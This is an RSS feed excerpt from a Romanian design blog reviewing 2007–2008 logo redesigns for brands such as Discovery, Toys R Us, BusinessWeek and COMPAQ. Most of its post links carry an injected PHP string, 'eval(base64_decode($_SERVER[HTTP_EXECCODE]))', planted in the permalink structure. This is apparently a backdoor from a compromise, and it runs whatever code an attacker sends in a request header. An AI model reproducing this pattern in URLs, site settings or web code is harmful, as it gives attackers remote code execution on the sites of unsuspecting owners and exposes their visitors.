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	<title>1st look :: first look &#187; Branding</title>
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		<title>Discovery gets a new look</title>
		<link>http://www.1stlook.ro/2008/04/08/discovery-gets-a-new-look/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Tue, 08 Apr 2008 08:37:20 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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This new logotype looks fine for me, especially the typo. I like it pretty much. I have one problem with the logo: The earth globe placed in the front of the letter &#8220;D&#8221;.
You can read more about it at Brand New


]]></description>
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		<title>What the hell is this??</title>
		<link>http://www.1stlook.ro/2008/02/06/what-the-hell-is-this/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Wed, 06 Feb 2008 15:48:49 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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		<title>Ruby Tuesday</title>
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		<comments>http://www.1stlook.ro/2007/11/13/ruby-tuesday/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 09:11:36 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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Today I found on Brand New that Ruby Tuesday decided to create a fresh visual identity for the well known international restaurant chain.
The idea was to create a healthier and higher quality casual dining experience and has been applied across the board to menus, take-out bags, cups, napkins, uniforms, signage, architecture, advertising, website and even [...]]]></description>
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		<title>Toys R Us</title>
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		<pubDate>Mon, 05 Nov 2007 10:50:23 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
				<category><![CDATA[Branding]]></category>
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		<guid isPermaLink="false">http://1stlook.ro/?p=241</guid>
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Few days ago I&#8217;ve discovered on Brand New that Toys R Us made some changes on their logo. In fact, I see a grow on the typo, few color changes and the letter &#8220;R&#8221; (let&#8217;s say this is the major modification of the logo). I found a comment that &#8220;us&#8221; is too far away from [...]]]></description>
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		<title>Another Olympic logo</title>
		<link>http://www.1stlook.ro/2007/10/22/another-olympic-logo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 22 Oct 2007 14:14:16 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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We have here the logo of the winter Olympic games in 2014. The Russian city of Sochi has been chosen to host the 2014 Games. The logo is clean, the blue, red and white symbolize the Russian flag and i believe the white star represents a snowflake.
I&#8217;ve heard that the Olympics Committee invested $800,000 for [...]]]></description>
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		<title>Business Week new logo</title>
		<link>http://www.1stlook.ro/2007/10/17/business-week-new-logo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Wed, 17 Oct 2007 10:57:56 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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		<category><![CDATA[Typography]]></category>

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BusinessWeek magazine decided to renew the logo. So, they dropped off the old Serif and came back with a new  condensed typo.
]]></description>
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		<title>The new COMPAQ logo</title>
		<link>http://www.1stlook.ro/2007/10/08/the-redesigning-of-compaq-logo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 08 Oct 2007 14:28:20 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
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COMPAQ decided to redesign their company logo. In my opinion  the old one was a better choice .
]]></description>
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		<title>The brand new logo for WACOM</title>
		<link>http://www.1stlook.ro/2007/10/08/the-brand-new-logo-for-wacom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 08 Oct 2007 13:24:25 +0000</pubDate>
		<dc:creator>1stlook</dc:creator>
				<category><![CDATA[Branding]]></category>

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]]></description>
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